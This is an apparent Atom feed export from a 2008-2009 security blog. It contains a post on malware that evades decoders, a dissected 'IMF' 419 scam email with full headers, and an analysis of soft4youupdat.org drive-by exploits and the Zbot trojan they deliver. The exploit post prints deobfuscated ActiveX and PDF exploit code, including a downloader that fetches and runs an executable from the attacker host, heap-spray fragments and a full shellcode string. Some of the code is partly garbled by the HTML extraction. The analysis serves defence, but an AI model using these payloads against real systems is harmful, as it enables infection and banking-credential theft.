Array();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;var mem_flag = 0;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;function having() { memory=memory; setTimeout("having()", 2000); }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A recent example originated from various advertising content that redirected to srv(dot)ad-adnet(dot).net/code/smain.php?scout=jvcxeng. The sv.ad-adnet.net request returned obfuscated code.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;&amp;lt;script language="javascript"&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;var enschr="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;var i;var enschrs=new Array();for(i=0;i&amp;lt;enschr.length;i++){enschrs[i]=enschr.charAt(i);}var rvenchr=new Array();for(i=0;i&amp;lt;enschrs.length;i++){rvenchr[enschrs[i]]=i;}var ensstr, enscnt;function sensstr(str){ensstr=str;enscnt=0;}function rrvren(){if(!ensstr) return -1;while(true){if(enscnt &amp;gt;= ensstr.length) return -1;var [&lt;span style="font-style: italic;"&gt;truncated&lt;/span&gt;]...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In this example, Malzilla is used to decode the eval function.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_q7ApSx8GNew/SXZMcXl0cuI/AAAAAAAAADY/NRlEtT1eu84/s1600-h/dec1.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 186px;" src="http://2.bp.blogspot.com/_q7ApSx8GNew/SXZMcXl0cuI/AAAAAAAAADY/NRlEtT1eu84/s320/dec1.jpg" alt="" id="BLOGGER_PHOTO_ID_5293502462273286882" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The eval() function is replaced in Malzilla with the decoded result and decoded again. It looks like the second decoded result is “---“.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_q7ApSx8GNew/SXZM48Jx0aI/AAAAAAAAADg/9EQ-DkMabjc/s1600-h/dec2.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 186px;" src="http://1.bp.blogspot.com/_q7ApSx8GNew/SXZM48Jx0aI/AAAAAAAAADg/9EQ-DkMabjc/s320/dec2.jpg" alt="" id="BLOGGER_PHOTO_ID_5293502953124123042" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The “---“ appears to be used to make analysts think they received a result or lack of a result. The decoded content contains a bunch of whitespace that requires the analyst to scroll down to see the exploit code. The only explanation is the bad guys are attempting to to throw analysts off.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_q7ApSx8GNew/SXZNqu1Qm9I/AAAAAAAAADw/9KHZflitXZk/s1600-h/dec3.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 186px;" src="http://3.bp.blogspot.com/_q7ApSx8GNew/SXZNqu1Qm9I/AAAAAAAAADw/9KHZflitXZk/s320/dec3.jpg" alt="" id="BLOGGER_PHOTO_ID_5293503808541858770" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;It's isn't an elaborate effort, but it is interesting to know the bad guys know that analysts are looking at and decoding their exploit code and are trying to counteract analyst techniques with a wide variety of TTPs.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3812859427594797116-6367014828049508902?l=xanalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xanalysis.blogspot.com/feeds/6367014828049508902/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3812859427594797116&amp;postID=6367014828049508902' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/6367014828049508902'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/6367014828049508902'/><link rel='alternate' type='text/html' href='http://xanalysis.blogspot.com/2009/01/evading-javascript-decoders.html' title='Evading JavaScript Decoders?'/><author><name>-kc</name><uri>http://www.blogger.com/profile/10201182625344593178</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_q7ApSx8GNew/SXZMcXl0cuI/AAAAAAAAADY/NRlEtT1eu84/s72-c/dec1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3812859427594797116.post-8272798403316814646</id><published>2008-12-21T20:43:00.006-05:00</published><updated>2008-12-21T21:24:00.275-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='advance-fee fraud'/><category scheme='http://www.blogger.com/atom/ns#' term='419'/><title type='text'>IMF 419 Scam</title><content type='html'>419 and other advance-fee fraud scams are a regular part of life in the email world. I like to dig through my spam boxes to see what nuggets come up. A recent email with the subject "ECONOMIC STORM" indicated the "IMF international monetary fund and the world bank have collaborated to tackle the global economic storm facing the world." I'm glad to see someone is working to fix the economic crisis.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_q7ApSx8GNew/SU7y8UaQphI/AAAAAAAAADI/vRGbM_AQm3w/s1600-h/eco_storm.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 227px;" src="http://2.bp.blogspot.com/_q7ApSx8GNew/SU7y8UaQphI/AAAAAAAAADI/vRGbM_AQm3w/s320/eco_storm.jpg" alt="" id="BLOGGER_PHOTO_ID_5282426531037095442" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The email is spoofed from Mr.Dominique Strauss-Kahn &lt;imf@imf.org&gt; and originates from the CHINANET-GD registered IP 58.63.81.97. The email request the reply go to imfec@in.com.&lt;br /&gt;&lt;br /&gt;Name:    97.81.63.58.broad.gz.gd.dynamic.163data.com.cn&lt;br /&gt;Address:  58.63.81.97&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Delivered-To: xxx@gmail.com&lt;br /&gt;Received: by 10.86.95.1 with SMTP id s1cs313745fgb;&lt;br /&gt;      Sat, 20 Dec 2008 10:36:07 -0800 (PST)&lt;br /&gt;Received: by 10.114.145.1 with SMTP id s1mr2802117wad.118.1229798166053;&lt;br /&gt;      Sat, 20 Dec 2008 10:36:06 -0800 (PST)&lt;br /&gt;Return-Path: &lt;imf@imf.org&gt;&lt;br /&gt;Received: from pfyq6 ([58.63.81.97])&lt;br /&gt;      by mx.google.com with SMTP id k21si16564504waf.32.2008.12.20.10.36.04;&lt;br /&gt;      Sat, 20 Dec 2008 10:36:06 -0800 (PST)&lt;br /&gt;Received-SPF: neutral (google.com: 58.63.81.97 is neither permitted nor denied by best guess record for domain of imf@imf.org) client-ip=58.63.81.97;&lt;br /&gt;Authentication-Results: mx.google.com; spf=neutral (google.com: 58.63.81.97 is neither permitted nor denied by best guess record for domain of imf@imf.org) smtp.mail=imf@imf.org&lt;br /&gt;Message-Id: &lt;494d3b16.15bb720a.7b0f.009fsmtpin_added@mx.google.com&gt;&lt;br /&gt;From: "Mr.Dominique Strauss-Kahn" &lt;imf@imf.org&gt;&lt;br /&gt;Subject: ECONOMIC STORM&lt;br /&gt;To: xxx@gmail.com&lt;br /&gt;Content-Type: text/plain;&lt;br /&gt;  charset="US-ASCII"&lt;br /&gt;Reply-To: imfec@in.com&lt;br /&gt;Date: Sun, 21 Dec 2008 02:36:04 +0800&lt;br /&gt;X-Priority: 3&lt;br /&gt;&lt;br /&gt;This is to inform you/your company that IMF international monetary fund and the&lt;br /&gt;world bank have collaborated to tackle the global economic storm facing&lt;br /&gt;the world.&lt;br /&gt;These authority have set aside the sum of USD 10,000,000,000 ( Ten Billion&lt;br /&gt;United State Dollars ) to finance individuals/companies around the globe&lt;br /&gt;who have a reasonable project.&lt;br /&gt;All applicant should send their full data and project details (project name,&lt;br /&gt;project purpose,project cost) to the address given below to apply the&lt;br /&gt;support for your project.&lt;br /&gt;&lt;br /&gt;Reply to Mr. John Condo&lt;br /&gt;Project Finance Section&lt;br /&gt;IMF Office Beijing China&lt;br /&gt;( http://www.imf.org/external/np/omd/bios/rrf.htm )&lt;br /&gt;Email imfec@in.com&lt;br /&gt;&lt;br /&gt;Yours sincerely,&lt;br /&gt;Mr.Dominique Strauss-Kahn&lt;br /&gt;Managing Director, IMF&lt;br /&gt;&lt;/imf@imf.org&gt;&lt;/imf@imf.org&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;&lt;br /&gt;The email attempts to validate itself by including a hyperlink to the bio of Mr.Dominique Strauss-Kahn. The only problem is the link points to the bio of Mr. Rodrigo de Rato, from Spain, who was the former Managing Director from June 7, 2004 to October 31, 2007.&lt;br /&gt;&lt;br /&gt;&lt;/imf@imf.org&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_q7ApSx8GNew/SU71dytH4cI/AAAAAAAAADQ/y8v8BoSRiDs/s1600-h/IMF_dir.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 246px;" src="http://3.bp.blogspot.com/_q7ApSx8GNew/SU71dytH4cI/AAAAAAAAADQ/y8v8BoSRiDs/s320/IMF_dir.jpg" alt="" id="BLOGGER_PHOTO_ID_5282429305128214978" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Even the scammers can't keep up over time. It's amazing to security practitioners that these scams work, but at the same time we've all been asked by someone about the legitimacy of a virus hoax, 419, lottery, or chain email.&lt;imf@imf.org&gt; you wouldn't think it's that profitable, but every once in a while, the scammers hit a goldmine. For example, Bruce Schneier recently &lt;a href="http://www.schneier.com/blog/archives/2008/12/who_falls_for_t.html"&gt;blogged &lt;/a&gt;about a woman who lost $400K in a 419 scam. All I can say is i'm looking forward to my slice of the $10 Billion. WoooHooo!!!&lt;br /&gt;&lt;/imf@imf.org&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3812859427594797116-8272798403316814646?l=xanalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xanalysis.blogspot.com/feeds/8272798403316814646/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3812859427594797116&amp;postID=8272798403316814646' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/8272798403316814646'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/8272798403316814646'/><link rel='alternate' type='text/html' href='http://xanalysis.blogspot.com/2008/12/imf-419-scam.html' title='IMF 419 Scam'/><author><name>-kc</name><uri>http://www.blogger.com/profile/10201182625344593178</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_q7ApSx8GNew/SU7y8UaQphI/AAAAAAAAADI/vRGbM_AQm3w/s72-c/eco_storm.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3812859427594797116.post-6313164548923598729</id><published>2008-12-19T21:53:00.010-05:00</published><updated>2008-12-19T22:36:56.202-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='soft4youupdat.org'/><category scheme='http://www.blogger.com/atom/ns#' term='Adobe PDF'/><category scheme='http://www.blogger.com/atom/ns#' term='buffer overflow'/><category scheme='http://www.blogger.com/atom/ns#' term='Zbot'/><category scheme='http://www.blogger.com/atom/ns#' term='Innovation IT Solutions Corp'/><category scheme='http://www.blogger.com/atom/ns#' term='SOFTLAYER Technologies Inc'/><title type='text'>soft4youupdat.org Exploit Analysis</title><content type='html'>The analysis of exploit code hosted at soft4youupdat.org results in the typical TTP that includes malicious obfuscated JavaScript, browser-based IE exploits, banking credential stealing malware and ISPs with dubious reputations. The story follows...&lt;br /&gt;&lt;br /&gt;A request for http://soft4youupdat.org/counts/index.php returns 3 sections of obfuscated exploit code and an iframe for hxxp://soft4youupdat(dot)org.&lt;br /&gt;&lt;br /&gt;(1)&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&amp;lt;script&amp;gt;opdYzUDi=document.location.href;if(opdYzUDi.indexOf('http://')!=-1){eval('Tgwm\x61Tgwm\x7aTgwm…….truncated…….\x7bTgwm\x7dTgwm\x7d'.replace(/Tgwm/g, ''));}&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;(2)&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&amp;lt;script&amp;gt;ftXokBk6=document.location.href;if(ftXokBk6.indexOf('http://')!=-1){eval('qyT\x66qyT\x75qyT…….truncated…….\x7bqyT\x7dqyT\x7d'.replace(/qyT/g, ''));}&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;(3)&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&amp;lt;html&amp;gt;&amp;lt;iframe src="hxxp://soft4youupdat(dot)org/counts/cache/doc.pdf" widht="1" height="1"&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/html&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;(4)&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&amp;lt;script&amp;gt;hu7AMj=document.location.href;if(hu7AMj.indexOf('http://')!=-1){eval('MZnVp\x76MZnVp\x61MZnVp…….truncated…….\x28MZnVp\x29MZnVp\x3b'.replace(/MZnVp/g, ''));}&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The JavaScript replace() Method is used to obfuscate the exploit code. The replace() Method syntax is&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;stringObject.replace(findstring,newstring)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A 'g' flag is used to perform a global search and an 'i' flag is used to perform a case-insensitive search.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;Exploit Block 1&lt;/span&gt;&lt;br /&gt;The first block of exploit code globally replaces the characters Tgwm with the empty string ". The decoded section returns a string of escaped hexadecimal characters.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;eval('\x61\x7a\x20\x3d\x20\x6e\x65\x77\x20\x41\x72\x72\x61\x79\x28\x29\x3b\x61\x7a\x2e\x70\x75\x73\x68\x28\x27\x68\x5e\x74\x26\x74\x70\x29…….&lt;span style="font-style: italic;"&gt;truncated&lt;/span&gt;…….\x7b\x7d\x7d')&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The hexadecimal character string decodes to reveal additional code that again uses the JavaScript replace() Method for obfuscation. The script decodes to reveal MDAC RDS.Dataspace ActiveX Control Vulnerability (CVE-2006-0003, MS06-014) exploit code. The payload is a GET request for hxxp://soft4youupdat(dot)org/counts/bin/default.exe.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;az = new Array();az.push('h^t&amp;amp;tp)&amp;amp;://#$s$o#)ft4!yo*uup!da)t.)or*g!$/c((ou*n@ts!/)b#i%$n!/!@def!a^&amp;amp;u(l*t.exe#'.replace(/\!|@|#|\$|%|\^|&amp;amp;|\*|\(|\)/ig, ''));for(i = 0; i &lt;= az.length - 1; i++){ start(az[i], '.%/$/*@..^#/)@/f)i#(le#'.replace(/\!|@|#|\$|%|\^|&amp;amp;|\*|\(|\)/ig, '') + i + '.(e(^x^e!'.replace(/\!|@|#|\$|%|\^|&amp;amp;|\*|\(|\)/ig, ''));}function start(sUrl, sPath) { var z = document.createElement('o&amp;amp;b!j))e*ct!'.replace(/\!|@|#|\$|%|\^|&amp;amp;|\*|\(|\)/ig, ''));z.setAttribute('id'.replace(/\!|@|#|\$|%|\^|&amp;amp;|\*|\(|\)/ig, ''),'z'.replace(/\!|@|#|\$|%|\^|&amp;amp;|\*|\(|\)/ig, '')); z.setAttribute('clas@s!!i$!d@$'.replace(/\!|@|#|\$|%|\^|&amp;amp;|\*|\(|\)/ig, ''), 'cl%(s&amp;amp;id:)B*D^9%6#C(5*^56&amp;amp;-^*65A3$-^11(D!(0-98*3A%-0#0(C%(0^4@FC@2(9(&amp;amp;E36$'.replace(/\!|@|#|\$|%|\^|&amp;amp;|\*|\(|\)/ig, ''));try { var q = z.CreateObject('m&amp;amp;s!(xm@l%2.^&amp;amp;X&amp;amp;@M*LH@@T%T%*P'.replace(/\!|@|#|\$|%|\^|&amp;amp;|\*|\(|\)/ig, ''), ''.replace(/\!|@|#|\$|%|\^|&amp;amp;|\*|\(|\)/ig, '')); var s = z.CreateObject('Sh$@el#l).A%)p(pli&amp;amp;c$^a$t((ion'.replace(/\!|@|#|\$|%|\^|&amp;amp;|\*|\(|\)/ig, ''), ''.replace(/\!|@|#|\$|%|\^|&amp;amp;|\*|\(|\)/ig, ''));var t = z.CreateObject('a@do%db^).$#s$)t%(r!eam'.replace(/\!|@|#|\$|%|\^|&amp;amp;|\*|\(|\)/ig, ''), ''.replace(/\!|@|#|\$|%|\^|&amp;amp;|\*|\(|\)/ig, '')); try { t.type = 1; q.open('GE!T'.replace(/\!|@|#|\$|%|\^|&amp;amp;|\*|\(|\)/ig, ''), sUrl, false);q.send(); t.open(); t.write(q.responseBody); t.savetofile(sPath,2); t.close();} catch(e) {}try { s.shellexecute(sPath); if(shellexecute=true) { var b = new ActiveXObject('M)icros@#oft*&amp;amp;.X)$M^L&amp;amp;!H%&amp;amp;T&amp;amp;TP!'.replace(/\!|@|#|\$|%|\^|&amp;amp;|\*|\(|\)/ig, ''));b.open('G!ET#'.replace(/\!|@|#|\$|%|\^|&amp;amp;|\*|\(|\)/ig, ''), 'l*$o%!ad).php^#?)m@dc='.replace(/\!|@|#|\$|%|\^|&amp;amp;|\*|\(|\)/ig, '') + Math.random()); b.send(null); }} catch(e){}} catch(e){}} &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;&lt;br /&gt;Exploit Block 2&lt;/span&gt;&lt;br /&gt;The second block of exploit code uses the same obfuscation technique decoding to reveal Microsoft Access Snapshot Viewer ActiveX Control Vulnerability (CVE-2008-2463, MS08-041) exploit code. The payload is hxxp://soft4youupdat(dot)org/counts/load.php?ssv=' + Math.random().&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;function killErrors() { return true; } window.onerror = killErrors; var x; var obj;var myarr = new Array(); myarr[0] = 'c:\\Program Files\\Outlook Express\\wab.exe';myarr[1] = 'd:\\Program Files\\Outlook Express\\wab.exe';myarr[2] = 'e:\\Program Files\\Outlook Express\\wab.exe';setTimeout('window.location = "ldap://127.0.0.1"', 5000);for (x in myarr){obj = new ActiveXObject('snpv$w@.S$*n%(a&amp;amp;ps&amp;amp;h%)o$t!$ Vi)ew&amp;amp;e&amp;amp;$r)# Co$n&amp;amp;t(ro$l.*%1$'.replace(/\!|@|#|\$|%|\^|&amp;amp;|\*|\(|\)/ig, ''));try{var buf1 = 'http://soft4youupdat(dot)org/counts/load.php?ssv=' + Math.random();var buf2 = myarr[x]; obj.Zoom = 0;obj.SnapshotPath = buf1; obj.CompressedPath = buf2; obj.PrintSnapshot();}catch(e){}}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;Exploit Block 3&lt;/span&gt;&lt;br /&gt;The third block of exploit code included an iframe for hxxp://soft4youupdat(dot)org/counts/cache/doc.pdf. The PDF contained buffer overflow exploit code targeted against a vulnerability in the JavaScript method Collab.collectEmailInfo() in Adobe PDF Reader’s JavaScript Engine (CVE-2007-5659, APSB08-13). The PDF metadata indicates it was created with Scribus 1.3.3.12 which provides desktop publishing for Linux/Unix. Scribus provides a &lt;a href="http://www.atlantictechsolutions.com/scribusdocs/javascriptpdf.html"&gt;step by step guide&lt;/a&gt; for beginning to enhance PDF with JavaScript. The creation date is 8-6-08.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;13 0 obj&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Stream&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;font-family:courier new;" &gt;[filter FlateDecode has been applied to the JavaScript bitstream]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;endstream&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;endobj&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;12 0 obj&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;endobj&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;14 0 obj&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;&lt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;/Producer (Scribus PDF Library 1.3.3.12)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;/Author &lt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;/Keywords &lt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;/Trapped /False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;/ModDate (D:20080806014227)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;/CreationDate (D:20080806014227)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&gt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Endobj&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The tool &lt;a href="http://www.accesspdf.com/pdftk/"&gt;Pdftk - the PDF Toolkit&lt;/a&gt; can be used to inflate the FlateDecode JavaScript. The tool syntax is:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;pdftk input.pdf output output.pdf uncompress&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The exploit shellcode payload is a GET request for hxxp://soft4youupdat(dot)org/counts/load.php?pdf=35f4a8d465e6e1edc05f3d8ab658c551.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;function rvcfcd208495d565e()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        var rvc4ca4238a0b9238 = new Array();&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        function rvc81e728d9d4c2f6(rveccbc87e4b5ce2f, rva87ff679a2f3e71)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;            while (rveccbc87e4b5ce2f.length * 2 &lt; rveccbc87e4b5ce2f =" rveccbc87e4b5ce2f.substring(0," rv1679091c5a880fa =" 0x0c0c0c0c;" rv8f14e45fceea167 =" unescape(" rvc9f0f895fb98ab9 =" 0x400000;" rv45c48cce2e2d7fb =" rv8f14e45fceea167.length" rva87ff679a2f3e71 =" rvc9f0f895fb98ab9" rveccbc87e4b5ce2f =" unescape(" rveccbc87e4b5ce2f =" rvc81e728d9d4c2f6(rveccbc87e4b5ce2f," rvd3d9446802a4425 =" (rv1679091c5a880fa" rv6512bd43d9caa6e =" 0;" rvc51ce410c124a10 =" app.viewerVersion.toString();" rvc51ce410c124a10 =" rvc51ce410c124a10.replace(/\D/g," rvaab3238922bcc25 =" new" rv9bf31c7ff062936 =" unescape(" collabstore =" Collab.collectEmailInfo({subj:"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Exploit Block 4&lt;/span&gt;&lt;br /&gt;The fourth block of exploit code uses the same obfuscation technique decoding to reveal 3 buffer overflow exploits:&lt;br /&gt;&lt;br /&gt;•    COM Object Instantiation Memory Corruption Vulnerability (CVE-2005-2127, MS05-052)&lt;br /&gt;•    Online Media Technologies NCTsoft NCTAudioFile2 ActiveX buffer overflow - CVE-2007-0018&lt;br /&gt;•    Microsoft Visual Studio 'Msmask32.ocx' ActiveX Control Remote Buffer Overflow Vulnerability (MS08-070)&lt;br /&gt;&lt;br /&gt;The shellcode payload for all 3 exploits is hxxp://soft4youupdat(dot)org/counts/load.php?bof=3c59dc048e8850243be8079a5c74d079.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;var Shellcode = unescape("%u4343%u4343%u0feb%u335b%u66c9%u80b9%u8001%uef33%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7ba%uaf07%uefef%u85ef%ub7e8%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf%uaa64%u85f3%ub6ea%uba64%u07f7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6%uf7ba%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403%ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c%u9964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff51%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4%u9ab1%ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u32ec%ueb64%uec64%ub12a%u2db2%uefe7%u1b07%u1011%uba10%ua3bd%ua0a2%uefa1%u7468%u7074%u2F3A%u732F%u666F%u3474%u6F79%u7575%u6470%u7461%u6F2E%u6772%u632F%u756F%u746E%u2F73%u6F6C%u6461%u702E%u7068%u623F%u666F%u333D%u3563%u6439%u3063%u3834%u3865%u3538%u3230%u3334%u6562%u3038%u3937%u3561%u3763%u6434%u3730%u0039");function geSpyrrSlirrdep(sssprassydddbSliiide, saruuysaddize){while (sssprassydddbSliiide.length * 2 &lt; sssprassydddbsliiide =" sssprassydddbSliiide.substring(0," hpsdyytttscess =" 0x0c0c0c0c;var" hadttdtsize =" 0x400000;var" payfdlytyusade =" Shellcode.length" tggter =" payfdLytyusade" saruuysaddize =" hadttdtSize" sssprassydddbsliiide =" unescape(" prrerat =" new" sssprassydddbsliiide =" geSpyrrSlirrdep(sssprassydddbSliiide," kilrrer =" hpsdyytttscess" hsttiicks =" kilrrer" i =" 0;" ugric =" unescape(" xyz =" 0x40000;while(ugric.length" ugric =" ugric.substring(0," bublic =" new" i =" bublic;"&gt;');zorro = Math.ceil(0xd0d0d0d);zorro = document.scripts[0].createControlRange().length;}catch(e) {}setTimeout("startAudioFile()", 2000);}function startAudioFile(){try{var mmed = document.createElement("object");mmed.setAttribute("classid", "clsid:77829F14-D911-40FF-A2F0-D11DB8D6D0BC");var mms="";for(var i=0; i &lt; body  =" '';var buf1  = '';for (i = 1; i &lt;= 1945; i++){buf1 = buf1 + unescape(" href="http://google.com/"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Malware Analysis&lt;/span&gt;&lt;br /&gt;The payload for all of the soft4youupdat(dot)org exploits is the same binary file.&lt;br /&gt;&lt;br /&gt;Filename: bin_default.exe/default.exe&lt;br /&gt;MD5: d9b7bf5b02fa9d1fc9da041916ff0a5e&lt;br /&gt;Size: 59,392 bytes&lt;br /&gt;&lt;br /&gt;The malware is a Zbot trojan which steals online banking information and downloads additional malware.&lt;br /&gt;&lt;br /&gt;The following files are created:&lt;br /&gt;&lt;br /&gt;%System%\ntos.exe&lt;br /&gt;0xB01F2D6531F9EC917E8996ED5962DB48&lt;br /&gt;308,736 bytes&lt;br /&gt;&lt;br /&gt;%System%\wsnpoem\audio.dll&lt;br 